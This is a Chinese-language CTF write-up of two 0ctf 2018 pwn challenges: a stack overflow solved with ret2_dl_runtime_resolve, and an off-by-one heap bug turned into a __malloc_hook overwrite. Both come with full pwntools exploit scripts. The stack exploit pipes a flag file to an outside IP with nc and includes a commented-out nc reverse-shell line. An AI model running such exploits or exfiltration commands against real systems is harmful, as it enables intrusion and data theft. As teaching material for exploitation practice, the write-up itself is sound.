0ctf2018-baby题

0ctf-baby题

最近有时间了就会做做之前的题目,这里是今年0ctf前两道baby题,一道是栈的题、一道是堆的题。后面的题还不会做,先从简单一点的开始(太菜了)。

babystack

这道题原题是这样的:

首先向我们输出了一个chal的值,并需要我们输入4个字节内容,输入的内容需要满足经过计算后得到的结果以\0\0\0开始,满足了这个check之后从输入流中读取0x100字节的数据,接着才正式启动存在问题的程序babystack,并将输入的0x100数据传给该程序。

程序分析

由于是在本机做的这道题,就直接启动了babystack开始调试,下面看一下该程序存在什么问题:

1
2
3
4
5
6
ssize_t sub_804843B()
{
char buf; // [sp+0h] [bp-28h]@1

return read(0, &buf, 0x40u);
}

可以看到程序内容简直再简单不过了,直接往buf中读取0x40字节的数据,而实际栈上的空间只有0x28字节,这里存在栈溢出。

查看一下程序开启了哪些保护:

1
2
3
4
5
6
7
$ checksec babystack 
[*] '/home/ym/Desktop/ctf/0ctf/babystack/babystack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位程序,没有开启canary,可以放心的栈溢出,也没有开启PIE。但是这里有一个问题,程序没有任何输出,读入0x40字节的数据后就直接结束运行了,所以我们没办法泄露libc的地址。所以这里就是一个在没有办法泄露地址的情况下控制程序流程的栈溢出利用了。

dl_runtime_resolve函数介绍

看了网上大佬们的wp,知道了这题要用ret2_dl_runtime_resolve这种方法来解,于是就把这种方法学习了一遍,主要参考了这两篇文章:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced_rop/#ret2_dl_runtime_resolve
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ (这篇文章里面的图片找不到资源了)

之前在劫持程序的执行流程的时候,有一种思路就是修改程序的got表,把它改成system\execve等函数的地址,并传递给他们合适的参数来拿到shell(对于got表的介绍可以去网上查一查,最好自己动手调一调)。got表里面存放的是动态获取到的函数的真实地址,程序在第一次执行某个来自外部的函数之前是不知道这个函数的真实地址是多少的,那他是怎么知道这个真实地址的呢?

答案就是通过dl_runtime_resolve这个函数(以read为例)来获取的,该函数获取真实地址的流程大致如下:

第一次调用read函数,根据plt表中的指令jmp dword ptr[got@read]来跳转到got表中存储的地址处,这里由于是第一次调用,地址指向的是plt表中jmp dword[got@read]的下一条指令。

push参数,并跳转到dl_runtime_resolve函数的地址,这里一共有两个参数分别为link_map、reloc_arg,其中link_map表示read函数在got表中的索引(link_map=*(GOT+4)),而reloc_arg参数就是用来重定位时主要用到的参数了。
这里dl_runtime_resolve的参数分别为0xf7ffd918、0x0,其中reloc_arg=0:

根据reloc_arg.rel.plt节中找到函数重定位表的地址,重定位表为一个包含两个变量的结构体。其中包含的r_offset为got表地址,r_info中以 (index_dynsym << 8) | 0x7这样的方式存储了动态链接符号表的索引:

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

使用objdump获取程序的.rel.plt地址如下:

1
2
3
4
5
6
7
$ objdump -s -j .rel.plt babystack 

babystack: file format elf32-i386

Contents of section .rel.plt:
80482b0 0ca00408 07010000 10a00408 07020000 ................
80482c0 14a00408 07040000 ........

在pwndbg中看到该函数重定位表的内容如下:

1
2
3
pwndbg> x /5xw 0x80482b0
0x80482b0: 0x0804a00c 0x00000107 0x0804a010 0x00000207
0x80482c0: 0x0804a014

其中0x107即为r_info的值,根据r_info的计算方式r_info = (index_dynsym << 8) | 0x7可以求出来index_dynsym的值为0x1

根据index_dynsym索引,从.dynsym节中找到动态链接符号表的地址,其中index_dynsym的计算方式为index_dynsym = (sym_addr - dynsym) / 0x10,因此可以算出来sym_addr的值为index_dynsym*0x10+dynsym=0x10+0x080481cc=0x80481dc:

1
2
3
4
5
6
7
8
9
10
11
12
#.dynsym的地址通过objdump获取
$ objdump -s -j .dynsym babystack

babystack: file format elf32-i386

Contents of section .dynsym:
80481cc 00000000 00000000 00000000 00000000 ................
80481dc 1a000000 00000000 00000000 12000000 ................
80481ec 1f000000 00000000 00000000 12000000 ................
80481fc 37000000 00000000 00000000 20000000 7........... ...
804820c 25000000 00000000 00000000 12000000 %...............
804821c 0b000000 0c850408 04000000 11001000 ................

所以动态链接符号表的内容如下:

1
2
3
4
pwndbg> x /10xw 0x80481dc
0x80481dc: 0x0000001a 0x00000000 0x00000000 0x00000012
0x80481ec: 0x0000001f 0x00000000 0x00000000 0x00000012
0x80481fc: 0x00000037 0x00000000

该地址对应的结构体为:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

根据其中st_name字段的值,结合.dynstr节找到需要加载的函数名字:

1
2
3
4
5
6
7
8
9
10
$ objdump -s -j .dynstr babystack

babystack: file format elf32-i386

Contents of section .dynstr:
804822c 006c6962 632e736f 2e36005f 494f5f73 .libc.so.6._IO_s
804823c 7464696e 5f757365 64007265 61640061 tdin_used.read.a
804824c 6c61726d 005f5f6c 6962635f 73746172 larm.__libc_star
804825c 745f6d61 696e005f 5f676d6f 6e5f7374 t_main.__gmon_st
804826c 6172745f 5f00474c 4942435f 322e3000 art__.GLIBC_2.0.

函数名字符串所在地址为0x804822c+0x1a:

1
2
3
pwndbg> x /2s 0x804822c+0x1a
0x8048246: "read"
0x804824b: "alarm"

根据需要加载的函数名字read,找到该函数的真正地址,将该地址存入got表中,并跳转到该函数处执行,就完成了一次动态链接的工作。

ret2_dl_runtime_resolve

上面主要介绍了dl_runtime_resolve大致的工作流程,包括如何根据参数reloc_arg找到动态加载所需要的各个参数(函数名、got表地址等)。那么我们可以事先伪造好动态加载所需要的各个数据,然后劫持程序流程,让它调用dl_runtime_resolve函数,并控制函数的参数为我们伪造的数据,达到加载任意函数并执行的目的?

ret2_dl_runtime_resolve就是这样的思路,通过设置reloc_arg为合理的值,让其指向我们伪造的虚假重定位表,从虚假的重定位表中取得虚假的动态链接符号表的索引,进而从虚假的动态链接符号表中得到一个我们想要加载的函数的名字(通常为system)并执行该函数。

漏洞利用

漏洞利用主要就是参考的上面给出的链接中的内容,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

elf = ELF('./babystack')
rop_leave_ret = 0x080483a8
stack_size = 0x800
bss_addr = 0x0804a020 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

# payload1: move stack to bss
payload = 'a'*0x28+p32(base_stage)
payload += p32(elf.plt['read'])+p32(rop_leave_ret)+p32(0)+p32(base_stage)+p32(0x100-0x40)

# a command to execute
cmd = 'cat ./flag|nc 104.225.154.188 5555'
# cmd = 'nc 104.225.154.188 5555 -e /bin/sh'
# cmd = "/bin/sh"
plt_0 = 0x080482f0
rel_plt = 0x080482b0
index_offset = (base_stage + 28) - rel_plt
# write_got = elf.got['write']
read_got = elf.got['read']
dynsym = 0x080481cc
dynstr = 0x0804822c
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
# fake_reloc = p32(write_got) + p32(r_info)
fake_reloc = p32(read_got)+p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))


print len(payload)
fp = open('./input.txt','wb')
fp.write(payload)
fp.write(payload2)
fp.close()

exp将利用数据保存在文件input.txt中,babystack程序从该文件中读取输入即可。

babyheap

看题目的名字就知道这是一道堆上的题,然而和平时做过的堆题又不太相同,也是调了好久……

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // rax@2

gen_random_mem();
do
{
print_choice();
v3 = get_int();
}
while ( v3 > 5 );
JUMPOUT(__CS__, (char *)dword_16B0 + dword_16B0[v3]);
}

程序首先调用了函数gen_random_mem(自己命的名),功能大致是通过mmap函数分配一个随机地址处的内存,并返回该内存,该内存用作一个结构体数组,用来保存后面分配的chunk的指针:

1
2
3
4
5
6
00000000 chunk_ptr       struc ; (sizeof=0x18, mappedto_1)
00000000 flag dd ?
00000004 field_4 dd ?
00000008 size dq ?
00000010 addr dq ?
00000018 chunk_ptr ends

一共提供了下面的几种功能:

1
2
3
4
5
6
7
8
9
int print_choice()
{
puts("1. Allocate");
puts("2. Update");
puts("3. Delete");
puts("4. View");
puts("5. Exit");
return printf("Command: ");
}

  • allocate:分配指定大小的堆块,最大只能为0x58字节,分配的内存指针存放到之前mmap分配的内存结构体数组中
  • update:修改结构体数组中指定索引对应的chunk的内容
  • delete:释放掉分配的堆块,并将其指针内容清0

其中在update时,存在off-by-one漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall update(chunk_ptr *a1)
{
unsigned __int64 v1; // rax@4
signed int v3; // [sp+18h] [bp-8h]@1
int size; // [sp+1Ch] [bp-4h]@5

printf("Index: ");
v3 = get_int();
if ( v3 >= 0 && v3 <= 15 && a1[v3].flag == 1 )
{
printf("Size: ");
LODWORD(v1) = get_int();
size = v1;
if ( (signed int)v1 > 0 )
{
// off-by-one,这里把size的值增加了一
v1 = a1[v3].size + 1;
if ( size <= v1 )
{
printf("Content: ");
get_content(a1[v3].addr, size);
LODWORD(v1) = printf("Chunk %d Updated\n", (unsigned int)v3);
}
}
}
else
{
LODWORD(v1) = puts("Invalid Index");
}
return v1;
}

漏洞利用

程序里面可以利用漏洞的就只有update中的off-by-one了,利用该漏洞可以修改下一个chunk中的size字段,修改该字段可以做什么呢?默认情况下分配的内容只可能是属于fastbin中的chunk,而且分配是采用的calloc函数,这样会将分配的内存的内容清0。

  • 如何进行信息泄露?

通过修改size字段,将该字段的值设置为不属于fastbin范围内的chunk,这样在释放的时候会把该chunk放入到unsorted bin中,这样该chunk的fd,bk域中就存放了main_arena+88的地址,然后在分配原来大小的chunk,这样会从unsorted bin中把该chunk分配出去,并将fd,bk的值写入到剩余的chunk中,这样就可以通过view功能来泄露libc的地址了。

  • 如何控制程序流程?

接着信息泄露部分,将fd,bk写入下一个chunk中,结构体数组中指向该chunk的指针没有被清0,因为该结构体还处于使用状态。如果这个时候在申请一个chunk,那么就会有一个新的结构体,它也指向这个chunk,即存在两个指针指向同一个chunk,这就相当于一个UAF了。

通过UAF可以修改已经在fastbin中的chunk的fd域,使其指向任意的地址,然后分配到该地址,但是这里有一个问题,需要绕过对size域的检查,但是这里没有合适的地方存在我们可以控制的size。这里从大佬们的题解中又学习了一波,既然可以控制了fastbin中的chunk的fd字段,那么便可以把指定的值写入到main_arena结构体中,这刚好可以解决找不到合适的size域的问题。这样就可以把main_arena的部分内存当做chunk分配出去,同时main_arena中还存放了top_chunk的地址,将该地址修改到__malloc_hook附近,然后就可以分配__malloc_hook附近的内存,将__malloc_hook赋值为one_gadget来实现控制程序流程。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
context.log_level='debug'

debug=1

if debug:
p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print 'free_hook:'+hex(libc.symbols['__free_hook'])
print 'malloc_hook:'+hex(libc.symbols['__malloc_hook'])

else:
p = remote('127.0.0.1',5555)

def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
# p.recvuntil('Allocated\n')

def update(index,size,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(content)
# p.recvuntil('Updated\n')

def delete(index):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Deleted\n')

def view(index):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))

# one_gadget = 0x45216 #rax=NULL
one_gadget = 0x4526a #[rsp+0x30] == NULL
# info leak
# leak libc addr
allocate(0x58) #0
allocate(0x38) #1
allocate(0x38) #2
allocate(0x48) #3
allocate(0x48) #4

# use off-by-one, make chunk1's size filed to be 0xd1(0x40+0x40+0x50)
payload = 'a'*0x58+'\xd1'
update(0,0x59,payload)
# chunk1's size not in fastbin range, it will be free to unsorted bin
# it's fd and bk field point to main_arena+88
# malloc 0x38, the chunk1's fd/bk will write to chunk2's fd/bk
delete(1) #1
allocate(0x38) #1
# leak main_arena+88's addr
view(2)
p.recvuntil(']: ')
main_arena = u64(p.recv(8))-88
print 'main_arena is :'+hex(main_arena)
libc_base = main_arena-0x3c4b20
malloc_hook = libc_base+libc.symbols['__malloc_hook']
print 'malloc hook'+hex(malloc_hook)

# now unsorted bin has 0x40+0x50 space(chunk2 and chunk3)
# allocate(0x38),make ptr_array[5]=ptr_array[2]-->chunk2
allocate(0x38) #5==2
# allocate(0x48),make ptr_array[6]=ptr_array[3]-->chunk2
allocate(0x48) #6==3
# now we can hajack chunk2 and chunk3's fd filed, like UAF
delete(2) #2
payload = p64(0x51)
# make 0x51 to fastbin, whitch used to fake chunk's size filed
update(5,len(payload),payload)
allocate(0x38) #2

delete(3)
payload = p64(main_arena+16)
# make chunk3's fd --> fake chunk(size=0x51)
update(6,len(payload),payload)
allocate(0x48) #3
# malloc fake chunk
allocate(0x48) #7
payload = p64(0)*7+p64(main_arena-0x40+4)
# change top chunk to __malloc_hook nearby
update(7,len(payload),payload)
allocate(0x58) #8
# malloc_hook-->one_gadget addr
payload = 'a'*(0x8*3+4)+p64(libc_base+one_gadget)
update(8,len(payload),payload)
# trigger one_gadget
allocate(0x20)

p.interactive()

题目链接: https://pan.baidu.com/s/1hYelxF1gJzJgnW3NSye40g 提取码: rsu4